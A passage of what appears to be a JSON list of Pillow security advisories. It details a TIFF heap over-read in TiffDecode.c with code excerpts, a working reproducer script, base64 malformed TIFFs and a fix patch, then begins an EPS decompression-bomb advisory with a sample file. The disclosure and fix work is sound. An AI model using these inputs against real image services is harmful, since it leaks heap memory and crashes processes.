`row_byte_size * tile_length`. The loop body, however, indexes into the buffer assuming the buffer is at least `row_byte_size * tile_length` bytes long. ### Vulnerable Code ```c // src/libImaging/TiffDecode.c:446-490 \u2014 _decodeTile new_data = realloc(state->buffer, state->bytes); // bytes = tile_bytes_size if (!new_data) { ... } state->buffer = new_data; for (y = state->yoff; y < state->ysize; y += tile_length) { for (plane = 0; plane < planes; plane++) { ImagingShuffler shuffler = unpackers[plane]; for (x = state->xoff; x < state->xsize; x += tile_width) { if (TIFFReadTile(tiff, (tdata_t)state->buffer, x, y, 0, plane) == -1) { ... } current_tile_width = min((INT32)tile_width, state->xsize - x); current_tile_length = min((INT32)tile_length, state->ysize - y); for (tile_y = 0; tile_y < current_tile_length; tile_y++) { shuffler( (UINT8 *)im->image[tile_y + y] + x * im->pixelsize, state->buffer + tile_y * row_byte_size, // <-- OOB stride current_tile_width ); } } } } ``` ```c // src/libImaging/Unpack.c:1288-1291 \u2014 copy4 (the crash site) static void copy4(UINT8 *out, const UINT8 *in, int pixels) { /* RGBA, CMYK quadruples */ memcpy(out, in, 4 * pixels); // <-- ASAN-detected READ here } ``` The PoC's tile metadata yields `tile_width = tile_length = 256`, `row_byte_size = 1024` (4 bytes/pixel \u00d7 256 pixels), and `tile_bytes_size = 196608` (which is 256\u00b7256\u00b73 = three-channel-byte storage). The realloc'd buffer is 196608 bytes. The unpacker iterates `tile_y` from 0 to 255 and for the highest rows the source pointer `state->buffer + tile_y * 1024` already lies at or past offset 196608 \u2014 the very last row's `memcpy(in=buffer+255\u00b71024, 1024)` reads 1024 bytes starting `260096 - 196608 = 63488` bytes past the allocation; ASAN flags the very first byte past the heap region (`READ of size 1024 at \u2026 0 bytes after 196608-byte region`). The mismatch is real: libtiff's `TIFFTileSize` returns the *packed* per-tile storage (which depends on the file's photometric/separation layout \u2014 it can legitimately be smaller than `row_byte_size \u00d7 tile_length`), while the inner loop strides as if the buffer always equals `row_byte_size \u00d7 tile_length`. ## Attribution This issue was found by Anthropic from using Claude to study security of open source projects, and I am from Ada Logics helping validate the found issues and report to maintainers. The data in this report has been reviewed manually."}, {"id": "CVE-2026-112404", "fix_versions": ["13.0.0"], "aliases": ["GHSA-c6hw-5grf-ff96"], "description": "``` ============================================================================ OOB read in TiffDecode.c tile and RGBA paths leaks heap memory into pixels Location: src/libImaging/TiffDecode.c:483 in _decodeTile() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` Pillow reads past the end of a heap buffer when decoding certain malformed compressed TIFF files, and copies the bytes it reads into the pixels of the image it returns. An attacker who can get an application to open and load an image file, for example by uploading it to a service that returns thumbnails, previews or converted images, gets back fragments of that process's heap memory, including pointer values. A slightly larger file instead crashes the process. No special settings are needed, and nothing is written out of bounds. The bug is in `_decodeTile()` and `_decodeAsRGBA()` in `src/libImaging/TiffDecode.c`. Both size their decode buffer from libtiff's view of the pixel layout (`TIFFTileSize()`/`TIFFTileRowSize()`, or `img.width * 4`). They then unpack each row with the unpacker that `TiffImagePlugin._setup()` chose from Pillow's own parse of the directory, and neither checks that the unpacker's input row fits inside the row libtiff produced. `_decodeStrip()` has exactly this check, added for OSS-Fuzz `crash-0da0` in 8.2.0, but the tile and RGBA paths never got it. The two parsers can be made to disagree with a duplicated `PhotometricInterpretation` or `BitsPerSample` tag, because libtiff keeps the first occurrence and Pillow keeps the last. Pillow then unpacks 4 to 8 bytes per pixel from rows that libtiff filled with 1 to 4 bytes, so the last rows of each tile are read from beyond the buffer. The disclosed memory is a few tile rows past the buffer, and the attacker chooses the tile width. The amount does not grow with the number of tiles, because the buffer is reused for every tile. The tile half was introduced in 1c295bf43 (first released in 8.2.0). The RGBA half was introduced in eb8c1206d, the CVE-2020-35654 fix (8.1.0). The attached reproducer runs against an unmodified build. It writes three roughly 400-byte files that load without error, yet the last pixel rows of each change with glibc's malloc fill pattern and contain heap pointer bytes. A fourth file with a 65536x16 tile segfaults in `copy4` \u2190 `_decodeTile` (`TiffDecode.c:483`) in most runs, depending on what is mapped after the buffer. ## Details `_decodeTile()` and `_decodeAsRGBA()` in `src/libImaging/TiffDecode.c` size `state->buffer` from what libtiff says it will produce (`TIFFTileSize()`, resp. `img.width * 4`), but unpack each row with the shuffler that `TiffImagePlugin._setup()` selected from Pillow's *own* parse of the IFD. Nothing in either function checks that the unpacker's input row (`width * state->bits / 8` bytes) fits inside the row libtiff wrote. `_decodeStrip()` has exactly that check; the other two do not. Whenever the two IFD parsers disagree about the pixel layout \u2014 a tag with the wrong count or type that libtiff ignores but Pillow accepts, or a duplicated `PhotometricInterpretation`/`BitsPerSample`/`SamplesPerPixel` entry (libtiff keeps the first occurrence, `ImageFileDirectory_v2.load()` the last) \u2014 the unpacker reads past the end of the heap buffer and the bytes it reads become pixels of the returned image. Any Pillow rawmode wider than libtiff's actual sample layout works (`RGBX`, `RGB;16N`, `RGBA;16N`, `I;32`, `F;32F`, \u2026); `RGBA;16N` (64 bits/pixel) against 1-bit libtiff data is the largest ratio, where every row after the first of each tile is read almost entirely from beyond the buffer. The ~400-byte TIFF `tile_count2.tif` generated by the reproducer \u2014 one 16x16 tile, `BitsPerSample 8`, `SamplesPerPixel 1`, `Compression 8` (Adobe Deflate), and `PhotometricInterpretation` written as a SHORT with **count 2** (`6, 6`) \u2014 is opened by `Image.open()` as mode `RGB` with libtiff rawmode `RGBX`, and `load()` succeeds on the stock build. Rows 13\u201315 of the result contain bytes that lie 16, 32 and 48 bytes past the 256-byte tile buffer: decoding the same file twice under `MALLOC_PERTURB_=85` and `=170` yields identical rows 0\u201312 and different bytes in rows 13\u201315 (`aa` vs `55`, i.e. glibc's fill pattern). Under an ASan build of the extensions the same `load()` reports `heap-buffer-overflow READ of size 64` in `copy4` (`src/libImaging/Unpack.c:1290`) called from `src/libImaging/TiffDecode.c:483`, against the 256-byte region allocated at `TiffDecode.c:448`. The same layout with a single 65536x16 tile (4.5 KB file) makes the stock build SIGSEGV in `copy4 \u2190 _decodeTile` reading an unmapped address in most runs (whether it faults depends on what is mapped after the 1 MiB buffer; a wider tile makes it reliable). ### Why the two parsers disagree libtiff 4.5 rejects a `PhotometricInterpretation` entry whose count is not 1 (`TIFFFetchNormalTag: Incorrect count for \"PhotometricInterpretation\"; tag ignored`), so for this file `TIFFGetField(tiff, TIFFTAG_PHOTOMETRIC, \u2026)` returns 0 and libtiff treats the data as one 8-bit sample per pixel: `TIFFTileSize() = 256`, `TIFFTileRowSize() = 16`. Pillow keeps the first value and carries on: ```python # src/PIL/TiffImagePlugin.py:762-770 (ImageFileDirectory_v2._setitem, reached from load()) try: (dest[tag],) = values except ValueError: # We've got a builtin tag with 1 expected entry warnings.warn(f\"Metadata Warning, tag {tag} had too many entries: ...\") dest[tag] = values[0] ``` so `_setup()` sees `photo == 6`. `OPEN_INFO[(II, 6, (1,), 1, (8,), ())]` is `(\"L\", \"L\")`, and because the file is compressed the libtiff branch then overrides the rawmode: ```python # src/PIL/TiffImagePlugin.py:1578, 1600-1607 self.use_load_libtiff = READ_LIBTIFF or self._compression != \"raw\" \u2026 if photo == 6: self._mode = \"RGB\" if self._compression in \"jpeg\" and self._planar_configuration == 1: rawmode = \"RGB\" else: rawmode = \"RGBX\" ``` `RGBX` is a 32-bit rawmode, so `get_unpacker()` (`src/decode.c:301-309`) sets `state->bits = 32` and `state->shuffle = copy4`. The intent of the `photo == 6` override is that libtiff will deliver RGBA through `TIFFRGBAImage`, but that decision is made in C from *libtiff's* reading of the tag, which here is \"not YCbCr\": ```c // src/libImaging/TiffDecode.c:737-764 TIFFGetField(tiff, TIFFTAG_PHOTOMETRIC, &photometric); // unset -> stays 0 \u2026 readAsRGBA = photometric == PHOTOMETRIC_YCBCR; // 0 \u2026 if (TIFFIsTiled(tiff)) { _decodeTile(im, state, tiff, planes, unpackers); // unpackers[0] = copy4 ``` ### The missing check `_decodeTile()` only guards against libtiff's tile being *larger* than what the unpacker expects, then allocates exactly `TIFFTileSize()` bytes and feeds `row_byte_size`-strided rows to the shuffler: ```c // src/libImaging/TiffDecode.c:403-487 (_decodeTile) tile_bytes_size = TIFFTileSize(tiff); // 256 \u2026 row_byte_size = TIFFTileRowSize(tiff); // 16 \u2026 if (tile_bytes_size > ((tile_length * state->bits / planes + 7) / 8) * tile_width) { // 256 > 1024 is false -> no abort \u2026 } state->bytes = tile_bytes_size; new_data = realloc(state->buffer, state->bytes); // 256-byte buffer (line 448) \u2026 for (tile_y = 0; tile_y < current_tile_length; tile_y++) { shuffler( // copy4: reads current_tile_width*4 = 64 bytes (UINT8 *)im->image[tile_y + y] + x * im->pixelsize, state->buffer + tile_y * row_byte_size, // from offset 16*tile_y current_tile_width ); ``` Row `tile_y` is read from `[16\u00b7tile_y, 16\u00b7tile_y + 64)`; for `tile_y` = 13, 14, 15 that ends 16, 32, 48 bytes past the 256-byte allocation. In general the last rows of every tile over-read by up to `(state->bits / libtiff_bits_per_pixel \u2212 1) \u00d7 row_byte_size` bytes, and `row_byte_size` scales with the attacker-chosen `TileWidth`. Note also that the existing one-sided check at line 434 multiplies the file-controlled `tile_width`/`tile_length` (`UINT32`, accepted up to `INT_MAX` at line 428) by `state->bits` in 32-bit unsigned arithmetic, so `tile_width * state->bits` wraps for `tile_width \u2265 2^32 / bits` (2^26 for the 64-bit rawmodes, 2^27 for `RGBX`/`I;32`/`F;32F`). An 8 KB file declaring a 2,097,152\u00d71 image with `TILEWIDTH = 2^26+16`, `TILELENGTH = 1`, 1-bit data for libtiff and `RGBA;16N` for Pillow makes libtiff allocate an ~8 MB tile from which `unpackRGBA16L` reads 16 MB, and the stock build SIGSEGVs in `unpackRGBA16L \u2190 _decodeTile (TiffDecode.c:483)`; a row-size comparison written in the same 32-bit arithmetic as line 434 would evaluate that row to 128 bytes and still accept it, so the new check must be done in a 64-bit type. Compare the strip path, which refuses this situation (added for OSS-Fuzz `crash-0da0` in 8.2.0): ```c // src/libImaging/TiffDecode.c:528-548 (_decodeStrip) unpacker_row_byte_size = (state->xsize * state->bits / planes + 7) / 8; \u2026 row_byte_size = TIFFScanlineSize(tiff); // if the unpacker calculated row size is > row byte size, (at least) the last // row of the strip will have a read buffer overflow. if (row_byte_size == 0 || unpacker_row_byte_size > row_byte_size) { state->errcode = IMAGING_CODEC_BROKEN; return -1; } ``` The identical file written with one strip instead of one tile fails `load()` with `OSError: decoder error -2` because of this check. ### Same gap in `_decodeAsRGBA()` `_decodeAsRGBA()` always produces `img.width * 4` bytes per row (`TiffDecode.c:325`, buffer allocated at line 339) and unpacks with `state->shuffle` (line 373) without looking at `state->bits`. It is reached when *libtiff* sees YCbCr while Pillow does not force `RGBX`. libtiff marks later duplicates of a tag as ignored (first occurrence wins); Pillow's `ImageFileDirectory_v2.load()` overwrites (`TiffImagePlugin.py:945`, last wins). The reproducer's `ycbcr_dup.tif` is a 16x16 Deflate strip with `PhotometricInterpretation` present twice (`6`, then `2`) and `BitsPerSample` twice (`8,8,8`, then `16,16,16`): libtiff decodes 8-bit YCbCr into a 1024-byte RGBA raster, Pillow selects `RGB;16N` (`state->bits = 48`), and `unpackRGB16L` reads 96 bytes per 64-byte row \u2014 ASan reports `heap-buffer-overflow` in `unpackRGB16L` (`Unpack.c:609`) from `TiffDecode.c:373`, past the 1024-byte region from `TiffDecode.c:339`. The count-2 encoding is not the only lever, and on released versions it is not a lever at all: a 1-sample `photo == 6` file only gets rawmode `RGBX` since the unreleased commit 155330d63 (\"Do not open YCbCr colorspace images as RGB without libtiff (#9779)\", 2026-08-26). Released versions are reached through duplicated tags instead. A 3-sample tiled file with two `PhotometricInterpretation` entries (`1` or `2`, then `6`) produces the same `copy4` \u2190 `_decodeTile` over-read, since libtiff keeps the first value and decodes 3 bytes per pixel while Pillow keeps `6` and unpacks 4 (the reproducer's `tile_dup.tif`). `ycbcr_dup.tif` above reaches `_decodeAsRGBA()` the same way. ## Impact Any application that calls `Image.open()` + `load()` (or `thumbnail()`, `convert()`, `save()`, \u2026) on an untrusted file reaches this with default settings: the file is content-sniffed as TIFF, and any compressed TIFF is decoded through libtiff and `TiffDecode.c` without `READ_LIBTIFF` being set. The over-read bytes are copied into the image's pixel rows, so a service that returns a thumbnail, preview or converted image hands adjacent heap memory back to the uploader, heap pointer values included \u2014 up to three libtiff tile rows past the buffer for the `RGBX`-over-8-bit case, with the tile row length (`TileWidth`) chosen by the attacker. `state->buffer` is allocated once and reused for every tile, so each tile re-reads the same region past that one buffer; the distinct heap disclosed per image is about `(unpacker_bpp / libtiff_bpp \u2212 1)` tile rows and does not grow with the tile count. With a wide tile the read runs off the mapping and the process segfaults instead (the 65536x16 case crashes the stock build in most runs, depending on what is mapped after the buffer), taking down the whole worker rather than one request. Writes go to the correctly sized `Imaging` rows, so this is disclosure / crash, not memory corruption. This is the same family as CVE-2020-35654 (Pillow and libtiff interpreting a YCbCr IFD differently in `TiffDecode.c`); that fix and the later `crash-0da0` fix closed the write and the strip-path read, but the tile path and the RGBA path still trust Pillow's rawmode over libtiff's row size. The tile-path gap was introduced in 1c295bf43c3a (\"Check for dimensions and sizes to fit into int\", 2021-01-25), which switched `_decodeTile()` from a buffer sized by Pillow's unpacker to `TIFFTileSize()`/`TIFFTileRowSize()`; it is first in Pillow 8.2.0. The `_decodeAsRGBA()` half dates from eb8c1206d6b1 (\"Fix CVE-2020-35654 - OOB Write in TiffDecode.c\"), first in 8.1.0. ## Reproducing Run `repro` (a single Python 3 script) against the installed, unmodified Pillow. No sanitizer build is needed. It writes four TIFFs into a temporary directory, decodes each one in a child process, and removes the directory at the end. The script writes its TIFFs byte by byte with a small classic-TIFF writer. Each file has a single IFD and a single Deflate-compressed block. Deflate is only there so the file is decoded by libtiff and `TiffDecode.c`. Every pixel byte in the compressed data is defined, so the decoded image should not depend on anything else in the process: - **`tile_count2.tif`**: a 16x16, 1-sample, 8-bit tile with `PhotometricInterpretation` written as SHORT count 2, `(6, 6)`. Pillow keeps `6` and unpacks with `copy4` (`RGBX`, 4 bytes per pixel). libtiff ignores the tag and decodes 1 byte per pixel. This lever needs 155330d63 (unreleased). - **`tile_dup.tif`**: a 16x16, 3-sample, 8-bit tile with `PhotometricInterpretation` present twice, `2` then `6`. libtiff keeps `2` (RGB, 3 bytes per pixel) and Pillow keeps `6` (`RGBX`, 4 bytes per pixel). This variant also applies to released versions. - **`ycbcr_dup.tif`**: the 16x16 strip with `BitsPerSample` `8,8,8` then `16,16,16` and `PhotometricInterpretation` `6` then `2`. libtiff decodes 8-bit YCbCr through `_decodeAsRGBA()` (4 bytes per pixel), and Pillow unpacks `RGB;16N` with `unpackRGB16L` (6 bytes per pixel). - **`tile_big.tif`**: the `tile_count2.tif` layout with a single 65536x16 tile. For each of the first three files, the script runs `Image.open()` + `load()` + `tobytes()` twice, once with `MALLOC_PERTURB_=85` and once with `=170`. If the two outputs differ, bytes from beyond the decode buffer have become pixels. In that case it prints the first differing offset and the bytes around it from both runs. On this tree all three differ in their last rows: the `aa`/`55` fill bytes show up, along with heap pointer bytes. The script then decodes `tile_big.tif` and checks for a SIGSEGV (exit status -11). If `gdb` is available, it prints the top frames: `copy4` (`Unpack.c:1290`) \u2190 `_decodeTile` (`TiffDecode.c:483`) \u2190 `ImagingLibTiffDecode`. This crash depends on ASLR, so an occasional run may survive. Each step prints which `_imaging` build it used and how Pillow opened the file (mode, size and rawmode). The script ends with a one-line summary. The last line is `BUG` if any file leaked heap bytes into its pixels or the big tile crashed the process. Otherwise it is `OK`. ## Suggested fix The attached patch restores the `_decodeStrip()` invariant (the unpacker's input row must fit inside libtiff's row) in the two sibling decoders in `src/libImaging/TiffDecode.c`, at the point where each one sizes its buffer: - `_decodeTile()` computes `unpacker_row_byte_size = ((tsize_t)tile_width * state->bits / planes + 7) / 8` (the `tsize_t` cast keeps the product out of 32-bit arithmetic, so the `TILEWIDTH = 2^26+16` case above cannot wrap past the check on 64-bit builds). It reuses that value for the existing `TIFFTileSize()` sanity check, as `_decodeStrip()` does for strips. After that check and before the `realloc`, it fails with `IMAGING_CODEC_BROKEN` when `unpacker_row_byte_size > row_byte_size` (`TIFFTileRowSize()`). - `_decodeAsRGBA()` fails with `IMAGING_CODEC_BROKEN` when `state->bits > 32`, because `TIFFRGBAImage` rows are always 32 bits per pixel. This check runs before `TIFFRGBAImageBegin()` and any allocation. With the patch, the tile and RGBA files fail `load()` with `OSError: decoder error -2`, the same result the equivalent strip file already gets. The patch also adds a regression test to `Tests/test_file_libtiff.py` (`test_unpacker_row_wider_than_libtiff_row`). The test embeds the count-2 tile and the duplicated-tag YCbCr strip as base64, following the file's existing convention. The patch was applied to a clean tree and rebuilt: the reproducer no longer triggers, and `Tests/test_file_tiff.py`, `Tests/test_file_libtiff.py` and `Tests/test_tiff_crashes.py` pass. These checks close the over-read however the two parsers are made to disagree. Separately, `_setup()` could stop deriving the libtiff rawmode from tags that libtiff will read differently \u2014 e.g. treat a `PhotometricInterpretation`/`BitsPerSample`/`Compression` that is not a single well-typed value as \"unknown pixel mode\", the way `ImageWidth`/`ImageLength` are already required to be `int` at `TiffImagePlugin.py:1473`, or have `ImageFileDirectory_v2.load()` keep the first occurrence of a repeated tag as libtiff does (a behaviour change for malformed IFDs that is better made deliberately and separately) \u2014 but that only narrows the ways to reach the C-side gap rather than removing it: `TiffImagePlugin` cannot know how libtiff will resolve every malformed directory, and the decoder-side comparisons are what actually bound the read. ## The patch Reject TIFFs whose unpacker row is wider than libtiff's decoded row in _decodeTile() and _decodeAsRGBA(), as _decodeStrip() already does Applies to `src/libImaging/TiffDecode.c` at the commit above. ```diff diff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py index 3d804ea4a..c08dfe77c 100644 --- a/Tests/test_file_libtiff.py +++ b/Tests/test_file_libtiff.py @@ -1232,6 +1232,50 @@ class TestFileLibTiff(LibTiffTestCase): with pytest.raises(OSError, match=\"decoder error -9\"): im.load() + @pytest.mark.parametrize( + \"data\", + ( + # 16x16 8-bit greyscale tile, with a PhotometricInterpretation tag that + # has two values. Pillow reads it as YCbCr (rawmode RGBX, 4 bytes/pixel) + # while libtiff ignores it and decodes 1 byte/pixel. + ( + b\"SUkqAAgAAAAKAAABBAABAAAAEAAAAAEBBAABAAAAEAAAAAIBAwABAAAACAAA\" + b\"AAMBAwABAAAACAAAAAYBAwACAAAABgAGABUBAwABAAAAAQAAAEIBBAABAAAA\" + b\"EAAAAEMBBAABAAAAEAAAAEQBBAABAAAAhgAAAEUBBAABAAAACwEAAAAAAAB4\" + b\"nAEAAf/+AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUm\" + b\"JygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BBQkNERUZHSElKS0xNTk9QUVJT\" + b\"VFVWV1hZWltcXV5fYGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6e3x9fn+A\" + b\"gYKDhIWGh4iJiouMjY6PkJGSk5SVlpeYmZqbnJ2en6ChoqOkpaanqKmqq6yt\" + b\"rq+wsbKztLW2t7i5uru8vb6/wMHCw8TFxsfIycrLzM3Oz9DR0tPU1dbX2Nna\" + b\"29zd3t/g4eLj5OXm5+jp6uvs7e7v8PHy8/T19vf4+foAAQIDBJ9Bepo=\" + ), + # 16x16 strip with duplicated BitsPerSample and PhotometricInterpretation + # tags. libtiff keeps the first (8-bit YCbCr, read as 4 bytes/pixel RGBA) + # while Pillow keeps the last (16-bit RGB, rawmode RGB;16N, 6 bytes/pixel). + ( + b\"SUkqAAgAAAAMAAABAwABAAAAEAAAAAEBAwABAAAAEAAAAAIBAwADAAAAugEA\" + b\"AAIBAwADAAAAwAEAAAMBAwABAAAACAAAAAYBAwABAAAABgAAAAYBAwABAAAA\" + b\"AgAAABEBBAABAAAAngAAABUBAwABAAAAAwAAABYBAwABAAAAEAAAABcBBAAB\" + b\"AAAAHAEAABICAwACAAAAAQABAAAAAAB4nGNgZGJmYWVj5+Dk4ubh5eMXEBQS\" + b\"FhEVE5eQlJKWkZWTV1BUUlZRVVPX0NTS1tHV0zcwNDI2MTUzt7C0sraxtbN3\" + b\"cHRydnF1c/fw9PL28fXzDwgMCg4JDQuPiIyKjomNi09ITEpOSU1Lz8jMys7J\" + b\"zcsvKCwqLiktK6+orKquqa2rb2hsam5pbWvv6Ozq7unt658wcdLkKVOnTZ8x\" + b\"c9bsOXPnzV+wcNHiJUuXLV+xctXqNWvXrd+wcdPmLVu3bd+xc9fuPXv37T9w\" + b\"8NDhI0ePHT9x8tTpM2fPnb9w8dLlK1evXb9x89btO3fv3X/w8NHjJ0+fPX/x\" + b\"8tXrN2/fvf/w8dPnL1+/ff/x89fvP3///WcY9f+I9j8AoGJ+kAgACAAIABAA\" + b\"EAAQAA==\" + ), + ), + ) + @pytest.mark.filterwarnings(\"ignore:Metadata Warning\") + def test_unpacker_row_wider_than_libtiff_row(self, data: bytes) -> None: + # The unpacker chosen by Pillow reads more bytes per row than libtiff + # decoded, so the decoder must reject the image rather than read past + # the end of its buffer + with Image.open(io.BytesIO(base64.b64decode(data))) as im: + with pytest.raises(OSError, match=\"decoder error -2\"): + im.load() + @pytest.mark.parametrize(\"compression\", (\"tiff_adobe_deflate\", \"jpeg\")) def test_save_multistrip(self, compression: str, tmp_path: Path) -> None: im = hopper(\"RGB\").resize((256, 256)) diff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c index 8a57c523d..2ee6c5f0a 100644 --- a/src/libImaging/TiffDecode.c +++ b/src/libImaging/TiffDecode.c @@ -304,6 +304,15 @@ _decodeAsRGBA(Imaging im, ImagingCodecState state, TIFF *tiff) { TRACE((\"RowsPerBlock: %u \\n\", rows_per_block)); + // TiffRGBAImages are 32bits/pixel. If the unpacker reads more bits per pixel + // than that, (at least) the last row of the block will have a read buffer + // overflow. + if (state->bits > 32) { + TRACE((\"Decode Error, unpacker bits %d > 32\\n\", state->bits)); + state->errcode = IMAGING_CODEC_BROKEN; + return -1; + } + if (!(TIFFRGBAImageOK(tiff, emsg) && TIFFRGBAImageBegin(&img, tiff, 0, emsg))) { TRACE((\"Decode error, msg: %s\", emsg)); state->errcode = IMAGING_CODEC_BROKEN; @@ -397,7 +406,7 @@ _decodeTile( ) { INT32 x, y, tile_y, current_tile_length, current_tile_width; UINT32 tile_width, tile_length; - tsize_t tile_bytes_size, row_byte_size; + tsize_t tile_bytes_size, row_byte_size, unpacker_row_byte_size; UINT8 *new_data; tile_bytes_size = TIFFTileSize(tiff); @@ -431,7 +440,8 @@ _decodeTile( return -1; } - if (tile_bytes_size > ((tile_length * state->bits / planes + 7) / 8) * tile_width) { + unpacker_row_byte_size = ((tsize_t)tile_width * state->bits / planes + 7) / 8; + if (tile_bytes_size > (unpacker_row_byte_size * tile_length)) { // If the tile size as expected by LibTiff isn't what we're expecting, abort. // man: TIFFTileSize returns the equivalent size for a tile of data as it // would be returned in a call to TIFFReadTile ... @@ -439,6 +449,13 @@ _decodeTile( return -1; } + // if the unpacker calculated row size is > row byte size, (at least) the last + // row of the tile will have a read buffer overflow. + if (unpacker_row_byte_size > row_byte_size) { + state->errcode = IMAGING_CODEC_BROKEN; + return -1; + } + state->bytes = tile_bytes_size; TRACE((\"TIFFTileSize: %d\\n\", state->bytes)); ``` ## The reproducer
Reproducer \u2014 repro, 4,178 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 # Heap over-read in _decodeTile()/_decodeAsRGBA() (src/libImaging/TiffDecode.c), stock build, # no sanitizer needed. Pillow picks the row unpacker from its own IFD parse, libtiff sizes the # decode buffer from its parse; when they disagree the unpacker reads past state->buffer and the # bytes land in the image. Evidence: (1) pixels of a fully-defined 16x16 file change with glibc's # MALLOC_PERTURB_ fill byte (heap bytes beyond the buffer became pixels); (2) a 65536x16 tile # SIGSEGVs in copy4 <- _decodeTile. Runs in a few seconds. import os, shutil, struct, subprocess, sys, tempfile, zlib W = tempfile.mkdtemp(); S, L = 3, 4 def tiff(entries, data): # little-endian classic TIFF, one IFD, tags in given order data_off = 8 + 2 + 12 * len(entries) + 4; extra_off = data_off + len(data) ifd, extra = struct.pack(\" 4: raw, extra = struct.pack(\" 1 B/px; Pillow keeps 6 -> RGBX copy4 4 B/px (HEAD only) \"tile_count2.tif\": tile(16, 16, 1, [(262, S, [6, 6])]), # Photometric duplicated 2 then 6, 3 samples: libtiff RGB 3 B/px; Pillow RGBX 4 B/px (also released versions) \"tile_dup.tif\": tile(16, 16, 3, [(262, S, [2]), (262, S, [6])]), # strip, libtiff sees 8-bit YCbCr -> _decodeAsRGBA 4 B/px; Pillow sees RGB;16 -> 6 B/px \"ycbcr_dup.tif\": tiff([(256, S, [16]), (257, S, [16]), (258, S, [8, 8, 8]), (258, S, [16, 16, 16]), (259, S, [8]), (262, S, [6]), (262, S, [2]), (273, L, None), (277, S, [3]), (278, S, [16]), (279, L, [len(d)]), (530, S, [1, 1])], d), \"tile_big.tif\": tile(65536, 16, 1, [(262, S, [6, 6])]), } for n, b in files.items(): open(f\"{W}/{n}\", \"wb\").write(b) LOAD = r\"\"\" import sys, warnings; warnings.simplefilter(\"ignore\") from PIL import Image im = Image.open(sys.argv[1]); print(Image.core.__file__, im.mode, im.size, im.tile[0].args[0], file=sys.stderr) im.load(); sys.stdout.write(im.tobytes().hex()) \"\"\" def run(name, perturb): p = subprocess.run([sys.executable, \"-c\", LOAD, f\"{W}/{name}\"], capture_output=True, text=True, env=dict(os.environ, MALLOC_PERTURB_=str(perturb))) return p.returncode, p.stdout, p.stderr.strip().splitlines()[-1:] or [\"\"] leak = False for n in (\"tile_count2.tif\", \"tile_dup.tif\", \"ycbcr_dup.tif\"): r1, a, info = run(n, 85); r2, b, _ = run(n, 170) print(f\"== {n}: {info[0]} rc={r1},{r2}\") if r1 == 0 and r2 == 0 and a != b: i = next(k for k in range(0, len(a), 2) if a[k:k+2] != b[k:k+2]) print(f\" pixel bytes depend on malloc fill pattern from byte {i//2} of {len(a)//2}:\") print(f\" PERTURB=85 : ...{a[i-8:i+40]}\\n PERTURB=170: ...{b[i-8:i+40]}\") leak = True else: print(\" identical output / error -> no leak observed\") rc, _, info = run(\"tile_big.tif\", 0) print(f\"== tile_big.tif: {info[0]} rc={rc}\" + (\" (SIGSEGV)\" if rc == -11 else \"\")) crash = rc == -11 if crash and shutil.which(\"gdb\"): bt = subprocess.run([\"gdb\", \"-batch\", \"-ex\", \"run\", \"-ex\", \"bt 4\", \"--args\", sys.executable, \"-c\", LOAD, f\"{W}/tile_big.tif\"], capture_output=True, text=True).stdout print(\"\\n\".join(l for l in bt.splitlines() if l.startswith(\"#\"))) shutil.rmtree(W) print(f\"summary: heap bytes in pixels={leak} stock SIGSEGV={crash}\") print(\"BUG\" if leak or crash else \"OK\") ```
---"}, {"id": "CVE-2026-112899", "fix_versions": ["13.0.0"], "aliases": ["GHSA-vx6w-vv9f-6gvg"], "description": "``` ============================================================================ EPS load(scale) lets Ghostscript render past the decompression bomb limit Location: src/PIL/EpsImagePlugin.py:92 in Ghostscript() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` When an application opens an untrusted Encapsulated PostScript file and asks Pillow to render it at a larger scale, Pillow has Ghostscript produce an image several times bigger than Pillow's configured size limit allows. The size check runs only after Ghostscript has finished rendering and written the full raw image to a temporary file. An attacker who can upload a file of about 100 bytes makes each such request spend scale\u00b2 times the Ghostscript rendering work and temporary disk space that the limit is meant to permit. For example, at scale 2 that is a 972 MB temporary file. The cause is in `Ghostscript()` in `src/PIL/EpsImagePlugin.py`. It multiplies the file-declared size by the caller's `scale` (lines 93-94) and passes the product to `gs` as the `-g` output geometry. It never calls `Image._decompression_bomb_check()` on the scaled size. The only check is the one `Image.open()` ran on the unscaled size, so a file declaring 9000\u00d79000 passes, and `load(scale=2)` then asks Ghostscript for 18000\u00d718000 (3.6\u00d7 `MAX_IMAGE_PIXELS`). A file declaring 18000\u00d718000 directly would be refused before Ghostscript ever ran. `DecompressionBombError` fires only when Pillow reopens the output file, so Pillow's own in-process allocation stays bounded and there is no memory corruption. The effect is a constant-factor overshoot rather than an unbounded one, for three reasons: * The multiplier is an integer chosen by the application, not by the file. * With the default warning filter, `Image.open()` already lets files up to 2\u00d7 the limit reach Ghostscript at `scale=1`. * Any application feeding untrusted files to Ghostscript is already exposed to a tiny file that keeps Ghostscript busy indefinitely, since `gs` runs with no timeout. This is the EPS counterpart of the WMF `load(dpi)` gap closed in af70b075a. It has been present since the decompression-bomb limit was introduced in ce2955ec7 (2.5.0). The attached reproducer stubs out Ghostscript and shows a 76-byte file passing `Image.open()` and reaching `gs` with `-g18000x18000`. A one-line patch mirroring the WMF check is included. ## Details `EpsImageFile.load(scale=N)` (the documented way to rasterise an EPS at higher resolution) renders `width*N \u00d7 height*N` pixels through Ghostscript, but the only decompression-bomb check on the way is the one `Image.open()` ran on the *unscaled*, file-declared `width \u00d7 height`. The scaled product is never passed to `Image._decompression_bomb_check()` before `gs` is started. This 111-byte EPS declares 9000\u00d79000 = 81,000,000 pixels, below the default `MAX_IMAGE_PIXELS` (89,478,485), so `Image.open()` accepts it without even a warning: ``` %!PS-Adobe-3.0 EPSF-3.0 %%BoundingBox: 0 0 9000 9000 %%EndComments 0 0 moveto 9000 9000 lineto stroke showpage ``` `im.load(scale=2)` on it then executes ``` gs -q -g18000x18000 -r144.000000x144.000000 -dBATCH -dNOPAUSE -dSAFER -sDEVICE=pnmraw -sOutputFile=/tmp/tmpXXXX -c 0 0 translate -f attack.eps -c showpage ``` i.e. asks Ghostscript for an 18000\u00d718000 = 324,000,000-pixel raster (3.6\u00d7 `MAX_IMAGE_PIXELS`), whose 